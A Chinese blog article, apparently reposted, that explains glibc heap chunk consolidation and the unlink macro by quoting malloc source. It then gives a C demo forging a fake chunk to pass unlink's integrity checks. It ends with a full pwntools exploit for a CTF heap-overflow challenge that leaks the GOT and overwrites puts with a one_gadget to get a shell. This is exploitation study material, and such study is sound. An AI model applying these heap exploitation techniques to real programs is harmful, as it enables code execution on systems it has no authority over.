Glibc堆块的向前向后合并与unlink原理机制探究
i春秋作家:Bug制造机 原文来自:Glibc堆块的向前向后合并与unlink原理机制探究 玩pwn有一段时间了,最近有点生疏了,调起来都不顺手了,所以读读malloc源码回炉一点一点总结反思下。 Unlink是把free掉的chunk从所属的bins链中,卸下来的操作(当然还包括一系列的检测机制),它是在free掉一块chunk(除fastbin大小的chunk外)之后,glibc检查这块chunk相邻的上下两块chunk的free状态之后,做出的向后合并或者向前合并引起的。 向前、向后合并p是指向free掉的chunk的指针(注意不是指向data的指针,是chunk),size是这块chunk的size。 /* consolidate backward */ 4277? ?? ?? ?? ?if (!prev_inuse(p)) { 4278? ?? ?? ?? ???prevsize = prev_size (p); 4279? ?? ?? ?? ???size += prevsize; 4280? ?? ?? ?? ???p = chunk_at_offset(p,-((long) prevsize)); 4281? ?? ?? ?? ???unlink(av,p,bck,fwd); 4282? ?? ?? ?? ?} 4283? ?? ??? 4284? ?? ?? ?? ?if (nextchunk != av->top) { 4285? ?? ?? ?? ???/* get and clear inuse bit */ 4286? ?? ?? ?? ???nextinuse = inuse_bit_at_offset(nextchunk,nextsize); 4287? ?? ??? 4288? ?? ?? ?? ???/* consolidate forward */ 4289? ?? ?? ?? ???if (!nextinuse) { 4290? ?? ?? ?? ?? ? unlink(av,nextchunk,fwd); 4291? ?? ?? ?? ?? ? size += nextsize; 4292? ?? ?? ?? ???} else 4293? ?? ?? ?? ?? ? clear_inuse_bit_at_offset(nextchunk,0); 4294 4295? ?? ?? ?? ???/* 4296? ?? ?? ?? ?? ? Place the chunk in unsorted chunk list. Chunks are 4297? ?? ?? ?? ?? ? not placed into regular bins until after they have 4298? ?? ?? ?? ?? ? been given one chance to be used in malloc. 4299? ?? ?? ?? ???*/ 4300? ?? ??? 4301? ?? ?? ?? ???bck = unsorted_chunks(av); 4302? ?? ?? ?? ???fwd = bck->fd; 4303? ?? ?? ?? ???if (__glibc_unlikely (fwd->bk != bck)) 4304? ?? ?? ?? ?? ? malloc_printerr ("free(): corrupted unsorted chunks"); 4305? ?? ?? ?? ???p->fd = fwd; 4306? ?? ?? ?? ???p->bk = bck; 4307? ?? ?? ?? ???if (!in_smallbin_range(size)) 4308? ?? ?? ?? ?? ? { 4309? ?? ?? ?? ?? ?? ?p->fd_nextsize = NULL; 4310? ?? ?? ?? ?? ?? ?p->bk_nextsize = NULL; 4311? ?? ?? ?? ?? ? } 4312? ?? ?? ?? ???bck->fd = p; 4313? ?? ?? ?? ???fwd->bk = p; 4314? ?? ??? 4315? ?? ?? ?? ???set_head(p,size | PREV_INUSE); 4316? ?? ?? ?? ???set_foot(p,size); 4317? ?? ??? 4318? ?? ?? ?? ???check_free_chunk(av,p); 4319? ?? ?? ?? ?} 4320? ?? ??? 4321? ?? ?? ?? ?/* 4322? ?? ?? ?? ???If the chunk borders the current high end of memory,4323? ?? ?? ?? ???consolidate into top 4324? ?? ?? ?? ?*/ 4325? ?? ??? 4326? ?? ?? ?? ?else { 4327? ?? ?? ?? ???size += nextsize; 4328? ?? ?? ?? ???set_head(p,size | PREV_INUSE); 4329? ?? ?? ?? ???av->top = p; 4330? ?? ?? ?? ???check_chunk(av,p); 4331? ?? ?? ?? ?}
向后合并向后合并部分的代码在4277-4282行 向后合并流程:
向前合并如果free掉的chunk相邻的下一块chunk(下面用nextchunk表示,并且nextsize表示它的大小)不是topchunk,并且是free的话就进入向前合并的流程。(见代码4284-4289行) 如果nextchunk不是free的,则修改他的size字段的pre_inuse位。 ps:检测nextchunk是否free,是通过inuse_bit_at_offset(nextchunk,nextsize)来获得nextchunk的相邻下一块chunk的size字段的presize位实现的。 向前合并流程(见代码4290-4291):
unlinkunlink是个宏,但是在读代码的时候请把bk和fd当作变量。 ps:p是指向chunk的指针。 #define unlink(AV,P,BK,FD) {? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? ? ?? ?? ?? ?if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)),0))? ?? ? ? ?? ?? ?? ???malloc_printerr ("corrupted size vs. prev_size");? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? ? ?? ?? ?? ?FD = P->fd;? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? ? ?? ?? ?? ?BK = P->bk;? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? ? ?? ?? ?? ?if (__builtin_expect (FD->bk != P || BK->fd != P,0))? ?? ?? ?? ?? ?? ?? ? ? ?? ?? ?? ???malloc_printerr ("corrupted double-linked list");? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? ? ?? ?? ?? ?else {? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? ? ?? ?? ?? ?? ? FD->bk = BK;? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? ? ?? ?? ?? ?? ? BK->fd = FD;? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? ? ?? ?? ?? ?? ? if (!in_smallbin_range (chunksize_nomask (P))? ?? ?? ?? ?? ?? ?? ?? ?? ??? ? ?? ?? ?? ?? ?? ???&& __builtin_expect (P->fd_nextsize != NULL,0)) {? ?? ?? ?? ?? ?? ?? ? ? ?? ?? ?? ?? ?? ???if (__builtin_expect (P->fd_nextsize->bk_nextsize != P,0)? ?? ?? ?? ??? ? ?? ?? ?? ?? ?? ?? ?? ?|| __builtin_expect (P->bk_nextsize->fd_nextsize != P,0))? ? ? ?? ?? ?? ?? ?? ?? ? malloc_printerr ("corrupted double-linked list (not small)");? ? ? ?? ?? ?? ?? ?? ???if (FD->fd_nextsize == NULL) {? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? ? ?? ?? ?? ?? ?? ?? ?? ?if (P->fd_nextsize == P)? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? ? ?? ?? ?? ?? ?? ?? ?? ???FD->fd_nextsize = FD->bk_nextsize = FD;? ?? ?? ?? ?? ?? ?? ? ? ?? ?? ?? ?? ?? ?? ?? ?else {? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? ? ?? ?? ?? ?? ?? ?? ?? ?? ? FD->fd_nextsize = P->fd_nextsize;? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? ? ?? ?? ?? ?? ?? ?? ?? ?? ? FD->bk_nextsize = P->bk_nextsize;? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? ? ?? ?? ?? ?? ?? ?? ?? ?? ? P->fd_nextsize->bk_nextsize = FD;? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? ? ?? ?? ?? ?? ?? ?? ?? ?? ? P->bk_nextsize->fd_nextsize = FD;? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? ? ?? ?? ?? ?? ?? ?? ?? ???}? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? ? ?? ?? ?? ?? ?? ?? ? } else {? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? ? ?? ?? ?? ?? ?? ?? ?? ?P->fd_nextsize->bk_nextsize = P->bk_nextsize;? ?? ?? ?? ?? ?? ?? ? ? ?? ?? ?? ?? ?? ?? ?? ?P->bk_nextsize->fd_nextsize = P->fd_nextsize;? ?? ?? ?? ?? ?? ?? ? ? ?? ?? ?? ?? ?? ?? ? }? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???}? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? ? ?? ?? ?? ???}? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? ? ?? ???}
以上就是unlink的操作,本质上就是从glibc管理的bin链中解链以及解链前的安全检查(防止被利用) 那unlink之后又做了什么呢? 整理chunk结构并放入unsortedbin当中不管是向前合并还是向后合并,unlink后都会来到4301-4318行。 其实做的是,将合并好的chunk加入到unsorted bin中第一个 并且如果这个chunk是samll chunk大小的话它是没有fd_nextsize和bk_nextsize的 然后就设置合并过后的chunk的头部(设置合并过后的size,已经合并形成的chunk的下一块chunk的pre_size字段) unlink Demo调试验证理论上面已经谈过了,butTalk is cheap,Debug is real!先来个小demo结合上面的原理感受下。 #include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h> struct chunk_structure { ??size_t prev_size; ??size_t size; ??struct chunk_structure *fd; ??struct chunk_structure *bk; ??char buf[10];? ?? ?? ?? ?? ?// padding }; int main() { ??unsigned long long *chunk1,*chunk2; ??struct chunk_structure *fake_chunk,*chunk2_hdr; ??char data[20]; ??// First grab two chunks (non fast) ??chunk1 = malloc(0x80); ??chunk2 = malloc(0x80); ??printf("%pn",&chunk1); ??printf("%pn",chunk1); ??printf("%pn",chunk2); ??// Assuming attacker has control over chunk1‘s contents ??// Overflow the heap,override chunk2‘s header ??// First forge a fake chunk starting at chunk1 ??// Need to setup fd and bk pointers to pass the unlink security check ??fake_chunk = (struct chunk_structure *)chunk1; ??fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P ??fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P ??// Next modify the header of chunk2 to pass all security checks ??chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); ??chunk2_hdr->prev_size = 0x80;??// chunk1‘s data region size ??chunk2_hdr->size &= ~1;? ?? ???// Unsetting prev_in_use bit ??// Now,when chunk2 is freed,attacker‘s fake chunk is ‘unlinked‘ ??// This results in chunk1 pointer pointing to chunk1 - 3 ??// i.e. chunk1[3] now contains chunk1 itself. ??// We then make chunk1 point to some victim‘s data ??free(chunk2); ??printf("%pn",chunk1); ??printf("%xn",chunk1[3]); ??chunk1[3] = (unsigned long long)data; ??strcpy(data,"Victim‘s data"); ??// Overwrite victim‘s data using chunk1 ??chunk1[0] = 0x002164656b636168LL; ??printf("%sn",data); ??return 0; }
ps:**在这个Demo中假定chun1的数据内容是被攻击者可控的并且可以溢出修改到下面一个chunk
然后修改好chunk2的presize字段为0x80就是chunk1的数据大小(用来避过corrupted size vs. prev_size检测的),和size字段的preinuse位为0(),从而达到欺骗glibc的机制,让它一位chunk2的前一块chunk(也就是chunk1)是free的,并且满足unlink所有的安全机制。这时候free掉chunk2的话就会触发向后合并。 看一看chunk1和chunk2的情况。以及完全构造好了。接下来就是free(chunk2)触发unlink。触发之后 chunk1的内容变成了&chunk1-3了。 这是因为fake_chunk->bk->fd=fake_chunk->fd,前面已经讲过fake_chunk->bk->fd指的是chunk1,而fake_chunk->fd指的是&chunk1-0x10.所以一unlink过后,chunk1里边存的是&chunk1-0x10的地址。 画线的地方是chunk2存的内容,无疑是栈上的东西了。而它前一个8字节存的就是chunk1存的地址0x00007fffffffdcb8,对吧自己算算地址,不就是&chunk1-0x18了么? 经过原理探究和demo调试,心中已经对unlink有感觉了吧,再来道题,练练应该就没问题了吧。 在网上找了一个题,拖进ida看看 主菜单如图。关键部分是:**添加**,**删除**,**显示**,**编辑** **添加**: 总共可以添加99个chunk,然后根据输入的lenth(长度没有限制),然后申请内存并记录在全局变量中,并且lenth也是记录在全局变量中的,然后往内存中读入内容。 **删除**: 根据输入的index,free掉对应的块,并将记录的地址和lenth清零。看来没有uaf。 **显示**: 直接遍历全局变量数组,打印对应内存的内容,可以用来泄露地址。 **编辑**: 根据输入的index和lenth来修改chunk的内容。(lenth是我们自己控制的,所以存在溢出修改) 综上分析,选择的思路是: 构造两个相邻块,来实现unlink的操作。 当时要要注意unlink的检测条件,所以申请了连续4个chunk,用index为1和2的chunk来构造Unlink所需的chunk。 unlink之后,存有index为2的指针变量就会指向他的地址-0x18处。然后通过edit index2,修改全局变量数组的内容为got表地址,从而泄露,然后再查查库,之后就好利用了,我这里使用的是one_gadget覆盖puts的got表. **exp**: ``` from pwn import * context.log_level="debug" def add(len,content): ? ? p.recvuntil("choice:") ? ? p.send("2") ? ? p.recvuntil("name:") ? ? p.send(str(len)) ? ? p.recvuntil("servant:") ? ? p.send(content) def change(index,len,content): ? ? p.recvuntil("choice:") ? ? p.send("3") ? ? p.recvuntil("servant:") ? ? p.send(str(index)) ? ? p.recvuntil("name:") ? ? p.send(str(len)) ? ? p.recvuntil("servnat:") ? ? p.send(content) def free(index): ? ? p.recvuntil(":") ? ? p.send("4") ? ? p.recvuntil("servant:") ? ? p.send(str(index)) def show(): ? ? p.recvuntil("ce:") ? ? p.send("1") libc=ELF("libc.so") puts_got=0x602020 free_got=0x602018 binsh="/bin/sh" ptr=0x6020e8 p=process("./pwn13") add(0xf0,"aaa") add(0xf0,"bbb") add(0xf0,"ccc") add(0xf0,"ddd") change(2,0xf8,p64(0x110)+p64(0xf1)+p64(ptr-0x18)+p64(ptr-0x10)+(0xf8-0x28)*"a"+p64(0xf0)+p64(0xf0)) change(0,0x100,"a"*0xf8+p64(0x111)) free(1) change(2,0x10,p64(0xf0)+p64(free_got)) show() p.recvuntil("1 : ") free_addr=u64(p.recv(6).ljust(8,‘ ‘)) print "free:"+hex(free_addr) one_gadet=free_addr-libc.symbols[‘free‘]+0x45216 puts_addr=free_addr-libc.symbols[‘free‘]+libc.symbols[‘puts‘] change(1,0x16,p64(puts_addr)+p64(one_gadet)) p.interactive() ? 阅读原文可见源文件哦~ 地址:Glibc堆块的向前向后合并与unlink原理机制探究 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |